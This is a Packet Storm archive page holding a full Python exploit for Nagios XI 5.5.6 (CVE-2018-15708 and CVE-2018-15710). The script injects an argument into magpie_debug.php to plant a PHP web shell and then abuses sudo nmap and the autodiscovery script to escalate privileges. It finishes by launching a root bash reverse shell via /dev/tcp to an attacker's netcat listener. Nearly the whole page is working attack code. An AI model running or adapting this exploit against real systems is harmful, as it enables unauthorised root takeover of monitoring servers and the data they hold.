exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Nagios XI 5.5.6 Remote Code Execution / Privilege Escalation

Nagios XI 5.5.6 Remote Code Execution / Privilege Escalation
Posted Jan 23, 2019
Authored by Chris Lyne

Nagios XI version 5.5.6 suffers from remote code execution and privilege escalation vulnerabilities.

tags | exploit, remote, vulnerability, code execution
advisories | CVE-2018-15708, CVE-2018-15710
SHA-256 | 24108dbb8c9c59ae34ce542303af31e1e4a7a64d3f72d47d85b85c06711c4a54

Nagios XI 5.5.6 Remote Code Execution / Privilege Escalation

Change Mirror Download
# Exploit Title: Nagios XI 5.5.6 Remote Code Execution and Privilege Escalation
# Date: 2019-01-22
# Exploit Author: Chris Lyne (@lynerc)
# Vendor Homepage: https://www.nagios.com/
# Product: Nagios XI
# Software Link: https://assets.nagios.com/downloads/nagiosxi/5/xi-5.5.6.tar.gz
# Version: From 2012r1.0 to 5.5.6
# Tested on:
# - CentOS Linux 7.5.1804 (Core) / Kernel 3.10.0 / This was a vendor-provided .OVA file
# - Nagios XI 2012r1.0, 5r1.0, and 5.5.6
# CVE: CVE-2018-15708, CVE-2018-15710
#
# See Also:
# https://www.tenable.com/security/research/tra-2018-37
# https://medium.com/tenable-techblog/rooting-nagios-via-outdated-libraries-bb79427172
#
# This code exploits both CVE-2018-15708 and CVE-2018-15710 to pop a root reverse shell.
# You'll need your own Netcat listener

from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler
import SocketServer, threading, ssl
import requests, urllib
import sys, os, argparse
from OpenSSL import crypto
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

TIMEOUT = 5 # sec

def err_and_exit(msg):
print '\n\nERROR: ' + msg + '\n\n'
sys.exit(1)

# handle sending a get request
def http_get_quiet(url):
try:
r = requests.get(url, timeout=TIMEOUT, verify=False)
except requests.exceptions.ReadTimeout:
err_and_exit("Request to '" + url + "' timed out.")
else:
return r

# 200?
def url_ok(url):
r = http_get_quiet(url)
return (r.status_code == 200)

# run a shell command using the PHP file we uploaded
def send_shell_cmd(path, cmd):
querystr = { 'cmd' : cmd }
# e.g. http://blah/exec.php?cmd=whoami
url = path + '?' + urllib.urlencode(querystr)
return http_get_quiet(url)

# delete some files locally and on the Nagios XI instance
def clean_up(remote, paths, exec_path=None):
if remote:
for path in paths:
send_shell_cmd(exec_path, 'rm ' + path)
print 'Removing remote file ' + path
else:
for path in paths:
os.remove(path)
print 'Removing local file ' + path

# Thanks http://django-notes.blogspot.com/2012/02/generating-self-signed-ssl-certificate.html
def generate_self_signed_cert(cert_dir, cert_file, key_file):
"""Generate a SSL certificate.

If the cert_path and the key_path are present they will be overwritten.
"""
if not os.path.exists(cert_dir):
os.makedirs(cert_dir)
cert_path = os.path.join(cert_dir, cert_file)
key_path = os.path.join(cert_dir, key_file)

if os.path.exists(cert_path):
os.unlink(cert_path)
if os.path.exists(key_path):
os.unlink(key_path)

# create a key pair
key = crypto.PKey()
key.generate_key(crypto.TYPE_RSA, 1024)

# create a self-signed cert
cert = crypto.X509()
cert.get_subject().C = 'US'
cert.get_subject().ST = 'Lorem'
cert.get_subject().L = 'Ipsum'
cert.get_subject().O = 'Lorem'
cert.get_subject().OU = 'Ipsum'
cert.get_subject().CN = 'Unknown'
cert.set_serial_number(1000)
cert.gmtime_adj_notBefore(0)
cert.gmtime_adj_notAfter(10 * 365 * 24 * 60 * 60)
cert.set_issuer(cert.get_subject())
cert.set_pubkey(key)
cert.sign(key, 'sha1')

with open(cert_path, 'wt') as fd:
fd.write(crypto.dump_certificate(crypto.FILETYPE_PEM, cert))

with open(key_path, 'wt') as fd:
fd.write(crypto.dump_privatekey(crypto.FILETYPE_PEM, key))

return cert_path, key_path

# HTTP request handler
class MyHTTPD(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
msg = '<?php system($_GET[\'cmd\']); ?>' # this will be written to the PHP file
self.end_headers()
self.wfile.write(str.encode(msg))

# Make the http listener operate on its own thread
class ThreadedWebHandler(object):
def __init__(self, host, port, keyfile, certfile):
self.server = SocketServer.TCPServer((host, port), MyHTTPD)
self.server.socket = ssl.wrap_socket(
self.server.socket,
keyfile=keyfile,
certfile=certfile,
server_side=True
)
self.server_thread = threading.Thread(target=self.server.serve_forever)
self.server_thread.daemon = True

def start(self):
self.server_thread.start()

def stop(self):
self.server.shutdown()
self.server.server_close()

##### MAIN #####

desc = 'Nagios XI 2012r1.0 < 5.5.6 MagpieRSS Remote Code Execution and Privilege Escalation'
arg_parser = argparse.ArgumentParser(description=desc)
arg_parser.add_argument('-t', required=True, help='Nagios XI IP Address (Required)')
arg_parser.add_argument('-ip', required=True, help='HTTP listener IP')
arg_parser.add_argument('-port', type=int, default=9999, help='HTTP listener port (Default: 9999)')
arg_parser.add_argument('-ncip', required=True, help='Netcat listener IP')
arg_parser.add_argument('-ncport', type=int, default=4444, help='Netcat listener port (Default: 4444)')

args = arg_parser.parse_args()

# Nagios XI target settings
target = { 'ip' : args.t }

# listener settings
listener = {
'ip' : args.ip,
'port' : args.port,
'ncip' : args.ncip,
'ncport': args.ncport
}

# generate self-signed cert
cert_file = 'cert.crt'
key_file = 'key.key'
generate_self_signed_cert('./', cert_file, key_file)

# start threaded listener
# thanks http://brahmlower.io/threaded-http-server.html
server = ThreadedWebHandler(listener['ip'], listener['port'], key_file, cert_file)
server.start()

print "\nListening on " + listener['ip'] + ":" + str(listener['port'])

# path to Nagios XI app
base_url = 'https://' + target['ip']

# ensure magpie_debug.php exists
magpie_url = base_url + '/nagiosxi/includes/dashlets/rss_dashlet/magpierss/scripts/magpie_debug.php'
if not url_ok(magpie_url):
err_and_exit('magpie_debug.php not found.')

print '\nFound magpie_debug.php.\n'

exec_path = None # path to exec.php in URL
cleanup_paths = [] # local path on Nagios XI filesystem to clean up
# ( local fs path : url path )
paths = [
( '/usr/local/nagvis/share/', '/nagvis' ),
( '/var/www/html/nagiosql/', '/nagiosql' )
]

# inject argument to create exec.php
# try multiple directories if necessary. dir will be different based on nagios xi version
filename = 'exec.php'
for path in paths:
local_path = path[0] + filename # on fs
url = 'https://' + listener['ip'] + ':' + str(listener['port']) + '/%20-o%20' + local_path # e.g. https://192.168.1.191:8080/%20-o%20/var/www/html/nagiosql/exec.php
url = magpie_url + '?url=' + url
print 'magpie url = ' + url
r = http_get_quiet(url)

# ensure php file was created
exec_url = base_url + path[1] + '/' + filename # e.g. https://192.168.1.192/nagiosql/exec.php
if url_ok(exec_url):
exec_path = exec_url
cleanup_paths.append(local_path)
break
# otherwise, try the next path

if exec_path is None:
err_and_exit('Couldn\'t create PHP file.')

print '\n' + filename + ' written. Visit ' + exec_url + '\n'

# run a few commands to display status to user
print 'Gathering some basic info...'
cmds = [
('whoami', 'Current User'),
("cat /usr/local/nagiosxi/var/xiversion | grep full | cut -d '=' -f 2", 'Nagios XI Version')
]

for cmd in cmds:
r = send_shell_cmd(exec_url, cmd[0])
sys.stdout.write('\t' + cmd[1] + ' => ' + r.text)

# candidates for privilege escalation
# depends on Nagios XI version
rev_bash_shell = '/bin/bash -i >& /dev/tcp/' + listener['ncip'] + '/' + str(listener['ncport']) + ' 0>&1'
# tuple contains (shell command, cleanup path)
priv_esc_list = [
("echo 'os.execute(\"" + rev_bash_shell + "\")' > /var/tmp/shell.nse && sudo nmap --script /var/tmp/shell.nse", '/var/tmp/shell.nse'),
("sudo php /usr/local/nagiosxi/html/includes/components/autodiscovery/scripts/autodiscover_new.php --addresses='127.0.0.1/1`" + rev_bash_shell + "`'", None)
]

# escalate privileges and launch the connect-back shell
timed_out = False
for priv_esc in priv_esc_list:
try:
querystr = { 'cmd' : priv_esc[0] }
url = exec_path + '?' + urllib.urlencode(querystr)
r = requests.get(url, timeout=TIMEOUT, verify=False)
print '\nTrying to escalate privs with url: ' + url
except requests.exceptions.ReadTimeout:
timed_out = True
if priv_esc[1] is not None:
cleanup_paths.append(priv_esc[1])
break

if timed_out:
print 'Check for a shell!!\n'
else:
print 'Not so sure it worked...\n'

server.stop()

# clean up files we created
clean_up(True, cleanup_paths, exec_path) # remote files
clean_up(False, [cert_file, key_file])
Login or Register to add favorites

File Archive:

December 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    2 Files
  • 2
    Dec 2nd
    12 Files
  • 3
    Dec 3rd
    0 Files
  • 4
    Dec 4th
    0 Files
  • 5
    Dec 5th
    14 Files
  • 6
    Dec 6th
    18 Files
  • 7
    Dec 7th
    11 Files
  • 8
    Dec 8th
    45 Files
  • 9
    Dec 9th
    9 Files
  • 10
    Dec 10th
    6 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close